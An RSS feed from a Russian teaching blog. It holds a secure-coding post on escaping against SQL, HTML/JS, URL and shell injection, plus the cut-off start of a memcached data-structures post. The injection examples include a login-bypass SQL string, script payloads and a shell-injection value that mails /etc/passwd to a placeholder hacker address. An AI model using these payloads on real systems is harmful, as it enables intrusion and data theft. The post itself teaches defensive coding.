<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/"><channel><title>Блог Андрея Смирнова (преподавание)</title><link>http://www.smira.ru/</link><description></description><language>ru</language><lastBuildDate>Sun, 11 Jan 2015 19:24:27 GMT</lastBuildDate><generator>http://getnikola.com/</generator><docs>http://blogs.law.harvard.edu/tech/rss</docs><item><title>Не забудь сделать escape!</title><link>http://www.smira.ru/posts/20101031dont-forget-about-escaping.html</link><dc:creator>Andrey</dc:creator><description>&lt;p&gt;Когда я только начинал программировать в web, правильно сделать escape данных было непростой задачей:
никаких хороших библиотек не было или приходилось писать что-то свое, при этом на каждом шагу не забывая
поставить нужный escape. Сегодня отличные библиотеки, такие как Ruby on Rails, позволяют "расслабиться" и
забыть о том, что такое escaping (по крайней мере до какой-то степени). Не смотря на это, все еще необходимо понимать,
что такое escaping, зачем он нужен, когда и какой.&lt;/p&gt;
&lt;p&gt;Отсутствие правильного escaping (впрочем, как и избыточный и неуместный escaping) приводит к &lt;em&gt;ошибкам&lt;/em&gt; и &lt;em&gt;уязвимостям&lt;/em&gt;
(проблемам безопасности) в web-приложениях. Обычно уязвимость состоит в том, что приложение получает данные из различных
внешних источников (от пользователя, из других приложений), эти данные приложение вставляет строчку, которая
впоследствие будет обработана третьей системой (базой данных, браузером, интерпретатором и т.п.) При этом при передаче
особым образом подготовленных данных удается совершить действие, которое не должно было произойти.&lt;/p&gt;
&lt;div class="section" id="sql"&gt;
&lt;h2&gt;SQL&lt;/h2&gt;
&lt;p&gt;Типичная уязвимость: &lt;a class="reference external" href="http://en.wikipedia.org/wiki/SQL_Injection"&gt;SQL Injection&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Пример кода (авторизация по логину и паролю):&lt;/p&gt;
&lt;pre class="code php literal-block"&gt;
&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt; &lt;span class="nx"&gt;runQuery&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"SELECT id FROM users WHERE login='&lt;/span&gt;&lt;span class="si"&gt;$login&lt;/span&gt;&lt;span class="s2"&gt;' AND password='&lt;/span&gt;&lt;span class="si"&gt;$password&lt;/span&gt;&lt;span class="s2"&gt;'"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/pre&gt;
&lt;p&gt;Если значения переменных &lt;tt class="docutils literal"&gt;$login&lt;/tt&gt; и &lt;tt class="docutils literal"&gt;$password&lt;/tt&gt; получены от пользователя (например, через форму авторизации),
можно в поле &lt;tt class="docutils literal"&gt;password&lt;/tt&gt; ввести значение вида: &lt;tt class="docutils literal"&gt;' OR '' = '&lt;/tt&gt;, тогда после подстановки получится такой запрос:&lt;/p&gt;
&lt;pre class="code sql literal-block"&gt;
&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="n"&gt;id&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;users&lt;/span&gt; &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;login&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'login'&lt;/span&gt; &lt;span class="k"&gt;AND&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;''&lt;/span&gt; &lt;span class="k"&gt;OR&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt;
&lt;/pre&gt;
&lt;p&gt;Условие &lt;tt class="docutils literal"&gt;WHERE&lt;/tt&gt; всегда истинно, для любой строчки БД. В зависимости от вида запроса, способа авторизации такое
поведение приведет к возможности авторизации, не зная пароля.&lt;/p&gt;
&lt;p&gt;Проблема состоит в том, что при прямой подстановке значения переменной &lt;tt class="docutils literal"&gt;$password&lt;/tt&gt; мы смогли изменить смысл исходного запроса.&lt;/p&gt;
&lt;p&gt;Что делать (в порядке от плохого к хорошему):&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;использовать функцию, которая осуществляет escaping, причем специфичный для конкретной БД (так как синтаксис SQL-запросов
может отличаться от одной БД к другой (в конечном итоге не очень хороший способ, так как однажды забытая функция escape ведет к
потенциальной уязвимости); например, для PHP/MySQL: &lt;a class="reference external" href="http://ru.php.net/mysql_real_escape_string"&gt;mysql_real_escape_string&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;использовать синтаксис SQL с параметрами (placeholderами), в этом случае значение не подставляется в строку SQL-запроса, а
передается отдельно как значение соответствующего типа; пример для PHP/PDO:
&lt;a class="reference external" href="http://ru2.php.net/manual/en/pdostatement.bindvalue.php"&gt;PDOStatement-&amp;gt;bindValue&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;использовать &lt;a class="reference external" href="http://ru.wikipedia.org/wiki/ORM"&gt;ORM&lt;/a&gt;, которая спрячет процесс построения запросов,
например для Rails: &lt;tt class="docutils literal"&gt;User.find_by_login_and_password(login, password)&lt;/tt&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Примечание&lt;/strong&gt;: один из моих любимых вопросов на собеседовании - "SQL injection и как его избежать". В 50% случаев я слышу про то,
что надо фильтровать пользовательские данные. Это не может быть универсальным способом! Пользователь может совершенно
разумно хотеть написать одинарную кавычку в том текстовом поле, значение которого будет передано вашему приложению.
Валидация или фильтрация данных - дополнительная возможность, которая происходит на уровне модели вашего приложения, но
escaping происходит на уровне, уже непосредственно взаимодействующем с БД.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="html"&gt;
&lt;h2&gt;HTML&lt;/h2&gt;
&lt;p&gt;Типичная уязвимость: &lt;a class="reference external" href="http://en.wikipedia.org/wiki/Cross-site_scripting"&gt;XSS&lt;/a&gt;, &lt;a class="reference external" href="http://ha.ckers.org/xss.html"&gt;типичные exploitы&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;В разметке HTML есть некоторое количество символов, которые имеют особый смысл: &lt;tt class="docutils literal"&gt;&amp;amp;"'&lt;/tt&gt;. Проблема возникает, когда в текст
(между элементами HTML) попадают данные, которые содержат мета-символы HTML, перечисленные выше.&lt;/p&gt;
&lt;p&gt;Пример (PHP):&lt;/p&gt;
&lt;pre class="code php literal-block"&gt;
&lt;span class="x"&gt;&amp;lt;span class="author"&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;&amp;lt;?&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="na"&gt;nickname&lt;/span&gt; &lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;&lt;span class="x"&gt;&amp;lt;/span&amp;gt;&lt;/span&gt;
&lt;/pre&gt;
&lt;p&gt;Если в качестве &lt;tt class="docutils literal"&gt;&lt;span class="pre"&gt;$user-&amp;gt;nickname&lt;/span&gt;&lt;/tt&gt; пользователь введет:&lt;/p&gt;
&lt;pre class="code html literal-block"&gt;
&lt;span class="nt"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;&lt;span class="nx"&gt;alert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"hi!"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/pre&gt;
&lt;p&gt;То все посетители сайта, которые посещают страницу, содержащую вышеприведенный код, получат окошко c "hi!".&lt;/p&gt;
&lt;p&gt;Должно быть так (&lt;a class="reference external" href="http://ru.php.net/htmlspecialchars"&gt;htmlspecialchars&lt;/a&gt; осуществляет замены вида &lt;tt class="docutils literal"&gt;"&amp;gt;"&lt;/tt&gt; -&amp;gt; &lt;tt class="docutils literal"&gt;"&amp;amp;gt;"&lt;/tt&gt; и т.п.):&lt;/p&gt;
&lt;pre class="code php literal-block"&gt;
&lt;span class="x"&gt;&amp;lt;span class="author"&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;&amp;lt;?&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;htmlspecialchars&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="na"&gt;nickname&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;&lt;span class="x"&gt;&amp;lt;/span&amp;gt;&lt;/span&gt;
&lt;/pre&gt;
&lt;p&gt;Необходимо отметить, что решения из разряда "фильтрации", описанные в примечании к SQL-escape, не всегда работают
по тем же самым причинам. Типичный поток данных для данной уязвимости - пользователь (например, ввод в форме) -&amp;gt; БД -&amp;gt; вывод на страницу
в HTML. При этом HTML escaping должен происходить при выводе данных, а не при записи в БД, т.к. данные в БД
могут использоваться и для вывода в другие форматы (например, PDF).&lt;/p&gt;
&lt;p&gt;Второй разновидностью данной проблемы является динамическая генерация HTML в контексте страницы, например, с помощью jQuery:&lt;/p&gt;
&lt;pre class="code javascript literal-block"&gt;
&lt;span class="nx"&gt;$&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'#nickname'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'&amp;lt;span&amp;gt;'&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'nickname'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s1"&gt;'&amp;lt;/span&amp;gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/pre&gt;
&lt;p&gt;Должно быть так:&lt;/p&gt;
&lt;pre class="code javascript literal-block"&gt;
&lt;span class="nx"&gt;$&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'#nickname'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;$&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'&amp;lt;span&amp;gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;text&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'nickname'&lt;/span&gt;&lt;span class="p"&gt;]));&lt;/span&gt;
&lt;/pre&gt;
&lt;p&gt;Фукнция &lt;tt class="docutils literal"&gt;text&lt;/tt&gt; в отличие от &lt;tt class="docutils literal"&gt;update&lt;/tt&gt; изменяет только текстовые узлы DOM-дерева и не интерпретирует (добавляет "как есть") любую HTML-разметку.&lt;/p&gt;
&lt;p&gt;Как избежать подобных проблем:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;Шаблонизатор на серверной стороне должен по умолчанию делать HTML escaping при подстановке данных в шаблон,
т.к. чаще всего нужно делать escape, а не наоборот. Не нужен escaping только при вставке готовых кусков HTML-кода (например, результата работы другого шаблона).&lt;/li&gt;
&lt;li&gt;При построении DOM-дерева в JavaScript не используйте куски HTML кода, лучше стройте DOM-дерево из отдельных
элементов (как показано выше). Можно воспользоваться JavaScript-шаблонизатором с теми же требованиями, что и для серверного решения.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class="section" id="javascript"&gt;
&lt;h2&gt;JavaScript&lt;/h2&gt;
&lt;p&gt;Типичная уязвимость: &lt;a class="reference external" href="http://en.wikipedia.org/wiki/Cross-site_scripting"&gt;XSS&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Не менее часто в сегодняшних сложных web-приложениях необходимо передать данные с серверной части в JavaScript-код через HTML страницу.
Для этого чаще всего генерируется в шаблоне такой JavaScript-код:&lt;/p&gt;
&lt;pre class="code php literal-block"&gt;
&lt;span class="x"&gt;&amp;lt;script type="text/javascript"&amp;gt;
  var user = '&lt;/span&gt;&lt;span class="cp"&gt;&amp;lt;?&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$username&lt;/span&gt;&lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;&lt;span class="x"&gt;';
&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&lt;/span&gt;
&lt;/pre&gt;
&lt;p&gt;Теперь представим, что будет, если я в качестве &lt;tt class="docutils literal"&gt;$username&lt;/tt&gt; напишу &lt;tt class="docutils literal"&gt;'+alert(document.cookies) + '&lt;/tt&gt;. Нехорошо получается? Ответ
простой - сегодня все языки программирования поддерживают возможность преобразования данных в &lt;a class="reference external" href="http://json.org/"&gt;JSON&lt;/a&gt;. А это
как раз тот вид escape, который нам нужен! Причем у нас появляется передавать в JavaScript сложные
данные (массивы, объекты), а также свободно обрабатывать случаи null и т.п.:&lt;/p&gt;
&lt;pre class="code haml literal-block"&gt;
&lt;span class="nd"&gt;:javascript
&lt;/span&gt;  &lt;span class="nd"&gt;var user = &lt;/span&gt;&lt;span class="si"&gt;#{&lt;/span&gt;&lt;span class="vi"&gt;@user&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;to_json&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="nd"&gt;;&lt;/span&gt;
&lt;/pre&gt;
&lt;p&gt;(Кавычки вокруг строки уже указывать не нужно).&lt;/p&gt;
&lt;p&gt;Как избежать: преобразуйте данные в JSON перед вставкой в JavaScript-код.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="url"&gt;
&lt;h2&gt;URL&lt;/h2&gt;
&lt;p&gt;&lt;a class="reference external" href="http://ru.wikipedia.org/wiki/URL"&gt;URL&lt;/a&gt; - это тоже далеко не такая простая вещь, как кажется на самом деле. В URL используется
множество символов, которые имеют особый смысл: &lt;tt class="docutils literal"&gt;&lt;span class="pre"&gt;?&amp;amp;=/&lt;/span&gt;&lt;/tt&gt;. Чаще всего проблема возникает при построении URL динамически, а
при этом в качестве части URL необходимо использовать переданные пользователем данные. Пусть, например, нам надо построить
URL страницы поиска для ссылки с тега какого-то объекта:&lt;/p&gt;
&lt;pre class="code php literal-block"&gt;
&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt; &lt;span class="s2"&gt;"http://example.com/search/?q="&lt;/span&gt; &lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$tag&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="na"&gt;name&lt;/span&gt;
&lt;/pre&gt;
&lt;p&gt;Если ограничений особенно жестких на имя тега нет, мы можем получить несколько другой URL, чем мы планировали. Например, добавить
еще один параметр через &lt;tt class="docutils literal"&gt;&amp;amp;val=xxx&lt;/tt&gt; в имени тэга. В результате, пользователь, кликнувший по ссылке на такой тэг в списке тэгов
может попасть совсем не на страницу тэга, а на другую страницу сайта (результат будет зависеть во многом от схемы формирования ссылок).&lt;/p&gt;
&lt;p&gt;Как избежать: используйте &lt;tt class="docutils literal"&gt;urlencode&lt;/tt&gt;-подобные функции при формировании компонентов URL, или, еще лучше: используйте "сборщики ссылок",
которые отдельно принимают схему протокола, имя хоста, URI, GET-параметры и т.п.
Пример - &lt;a class="reference external" href="http://apidock.com/rails/ActionView/Helpers/UrlHelper/link_to"&gt;link_to&lt;/a&gt; в Rails.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="shell"&gt;
&lt;h2&gt;Shell&lt;/h2&gt;
&lt;p&gt;Типичная уязвимость: получение shell-доступа к удаленному серверу.&lt;/p&gt;
&lt;p&gt;При выполнении команд в ответ на запрос с использованием параметров, переданных клиентом (это могут быть как строки, так и,
например, имена файлов), можно использовать различные способы запуска команд. Одним из таких способов является команда
&lt;tt class="docutils literal"&gt;system&lt;/tt&gt; или ее различные варианты:&lt;/p&gt;
&lt;pre class="code php literal-block"&gt;
&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt; &lt;span class="nv"&gt;$image&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'image'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;

&lt;span class="nv"&gt;$result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;system&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"/usr/bin/process_image '&lt;/span&gt;&lt;span class="si"&gt;$image&lt;/span&gt;&lt;span class="s2"&gt;'"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/pre&gt;
&lt;p&gt;В данный код в качестве значения переменной &lt;tt class="docutils literal"&gt;$image&lt;/tt&gt; можно передать, например, следующее:&lt;/p&gt;
&lt;pre class="code python literal-block"&gt;
&lt;span class="s"&gt;'; (cat /etc/passwd | mail cool@hacker.org); echo '&lt;/span&gt;
&lt;/pre&gt;
&lt;p&gt;В чем здесь проблема?&lt;/p&gt;
&lt;ol class="arabic simple"&gt;
&lt;li&gt;Функция &lt;tt class="docutils literal"&gt;system&lt;/tt&gt; и ей подобные запускают командный интерпретатор (например,  bash), возможности которого гораздо больше, чем требуется нам.&lt;/li&gt;
&lt;li&gt;Мы не выполняем корректный escaping параметров, чтобы &lt;tt class="docutils literal"&gt;$image&lt;/tt&gt; оказался в точности одним параметром командной строки.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Как избежать:&lt;/p&gt;
&lt;ol class="arabic simple"&gt;
&lt;li&gt;Использовать функции, которые запускают внешний процесс, не прибегая к помощи shell:
они обычно принимают отдельно полный путь к исполняемому файлу и массив аргументов. Проблема отпадает сама собой.&lt;/li&gt;
&lt;li&gt;Использовать функцию &lt;tt class="docutils literal"&gt;escapeshellarg&lt;/tt&gt; и ей подобные, которая гарантирует, что внутри параметра все специальные символы будут экранированы:&lt;/li&gt;
&lt;/ol&gt;
&lt;pre class="code php literal-block"&gt;
&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt; &lt;span class="nv"&gt;$image&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'image'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;

&lt;span class="nv"&gt;$result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;system&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"/usr/bin/process_image "&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nb"&gt;escapeshellarg&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$image&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;/pre&gt;
&lt;/div&gt;</description><category>Python</category><category>Ruby on Rails</category><category>encode</category><category>escape</category><category>shell</category><category>sql</category><category>url</category><category>vulnerability</category><category>web</category><category>преподавание</category><category>разработка</category><guid>http://www.smira.ru/posts/20101031dont-forget-about-escaping.html</guid><pubDate>Sun, 31 Oct 2010 19:41:24 GMT</pubDate></item><item><title>Структуры данных в memcached/MemcacheDB</title><link>http://www.smira.ru/posts/20090121data-structures-in-memcached-memcachedb.html</link><dc:creator>Andrey</dc:creator><description>&lt;p&gt;&lt;/p&gt;&lt;p&gt;Достаточно часто нам приходится хранить данные в
&lt;a href="http://danga.com/memcached/"&gt;memcached&lt;/a&gt; или&lt;/p&gt;
&lt;p&gt;&lt;a href="http://memcachedb.org/"&gt;MemcacheDB&lt;/a&gt;. Это могут быть относительно&lt;/p&gt;
&lt;p&gt;простые данные, например, закэшированные выборки из базы данных,&lt;/p&gt;
&lt;p&gt;а иногда необходимо хранить и обрабатывать более сложные структуры данных,&lt;/p&gt;
&lt;p&gt;которые обновляются одновременно из нескольких процессов, обеспечивать&lt;/p&gt;
&lt;p&gt;быстрое чтение данных и т.п. Реализация таких структур данных уже не укладывается&lt;/p&gt;
&lt;p&gt;в комбинацию команд memcached &lt;code&gt;get&lt;/code&gt;/&lt;code&gt;set&lt;/code&gt;. В данной статье будут описаны&lt;/p&gt;
&lt;p&gt;способы хранения некоторых структур данных в memcached с примерами кода и описанием&lt;/p&gt;
&lt;p&gt;основных идей.&lt;/p&gt;
&lt;p&gt;Memcached и MemcacheDB в данной статье рассматриваются&lt;/p&gt;
&lt;p&gt;вместе, потому что имеют общий интерфейс доступа и логика работы большей части&lt;/p&gt;
&lt;p&gt;структур данных будет одинаковой, далее будем называть их просто "memcached".&lt;/p&gt;
&lt;p&gt;Зачем нам нужно хранить структуры данных в memcached? Чаще всего для&lt;/p&gt;
&lt;p&gt;распределенного доступа к данным из разных процессов, с разных серверов и т.п.&lt;/p&gt;
&lt;p&gt;А иногда для решения задачи хранения данных достаточно интерфейса,&lt;/p&gt;
&lt;p&gt;предоставляемого MemcacheDB, и необходимость в использовании СУБД отпадает.&lt;/p&gt;
&lt;p&gt;Иногда проект разрабатывается изначально для нераспределенного случая &lt;/p&gt;
&lt;p&gt;(работа в рамках одного сервера), однако предполагая будущую необходимость&lt;/p&gt;
&lt;p&gt;масштабирования, лучше использовать сразу такие алгоритмы и структуры&lt;/p&gt;
&lt;p&gt;данных, которые могут обеспечить легкое масштабирование. Например, даже&lt;/p&gt;
&lt;p&gt;если данные будут храниться просто в памяти процесса, но интерфейс к доступа&lt;/p&gt;
&lt;p&gt;к ним повторяет семантику memcached, то при переходе к распределенной и&lt;/p&gt;
&lt;p&gt;масштабируемой архитектуре достаточно будет заменить обращения к внутреннему&lt;/p&gt;
&lt;p&gt;хранилищу на обращения к серверу (или кластеру серверов) memcached.&lt;/p&gt;
&lt;!--more--&gt;

&lt;p&gt;Примеры кода будут написаны на Python, в них будет использоваться следующий&lt;/p&gt;
&lt;p&gt;интерфейс доступа к memcached:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;&lt;pre lang="python" line="1"&gt;
&lt;p&gt;class Memcache(object):
    def get(self, key):
        """
        Получить значение ключа.&lt;/p&gt;
&lt;pre class="code literal-block"&gt;    &lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="n"&gt;param&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="err"&gt;ключ&lt;/span&gt;
    &lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="n"&gt;type&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="n"&gt;C&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="err"&gt;значение&lt;/span&gt; &lt;span class="err"&gt;ключа&lt;/span&gt;
    &lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="n"&gt;raises&lt;/span&gt; &lt;span class="n"&gt;KeyError&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="err"&gt;ключ&lt;/span&gt; &lt;span class="err"&gt;отсутствует&lt;/span&gt;
    &lt;span class="s"&gt;"""&lt;/span&gt;

&lt;span class="n"&gt;def&lt;/span&gt; &lt;span class="n"&gt;add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;expire&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
    &lt;span class="s"&gt;"""&lt;/span&gt;
    &lt;span class="err"&gt;Установить&lt;/span&gt; &lt;span class="err"&gt;значение&lt;/span&gt; &lt;span class="err"&gt;ключа&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="err"&gt;если&lt;/span&gt; &lt;span class="err"&gt;он&lt;/span&gt; &lt;span class="err"&gt;еще&lt;/span&gt; &lt;span class="err"&gt;не&lt;/span&gt; &lt;span class="err"&gt;существует&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;

    &lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="n"&gt;param&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="err"&gt;ключ&lt;/span&gt;
    &lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="n"&gt;type&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="n"&gt;C&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="n"&gt;param&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="err"&gt;значение&lt;/span&gt; &lt;span class="err"&gt;ключа&lt;/span&gt;
    &lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="n"&gt;param&lt;/span&gt; &lt;span class="n"&gt;expire&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s"&gt;"срок годности"&lt;/span&gt; &lt;span class="err"&gt;ключа&lt;/span&gt; &lt;span class="err"&gt;в&lt;/span&gt; &lt;span class="err"&gt;секундах&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="err"&gt;бесконечно&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="n"&gt;type&lt;/span&gt; &lt;span class="n"&gt;expire&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="n"&gt;C&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="n"&gt;raises&lt;/span&gt; &lt;span class="n"&gt;KeyError&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="err"&gt;ключ&lt;/span&gt; &lt;span class="err"&gt;уже&lt;/span&gt; &lt;span class="err"&gt;существует&lt;/span&gt;
    &lt;span class="s"&gt;"""&lt;/span&gt;

&lt;span class="n"&gt;def&lt;/span&gt; &lt;span class="n"&gt;incr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
    &lt;span class="s"&gt;"""&lt;/span&gt;
    &lt;span class="err"&gt;Увеличить&lt;/span&gt; &lt;span class="err"&gt;на&lt;/span&gt; &lt;span class="err"&gt;единицу&lt;/span&gt; &lt;span class="err"&gt;значение&lt;/span&gt; &lt;span class="err"&gt;ключа&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;

    &lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="n"&gt;param&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="err"&gt;ключ&lt;/span&gt;
    &lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="n"&gt;type&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="n"&gt;C&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="n"&gt;param&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="err"&gt;инкремент&lt;/span&gt;
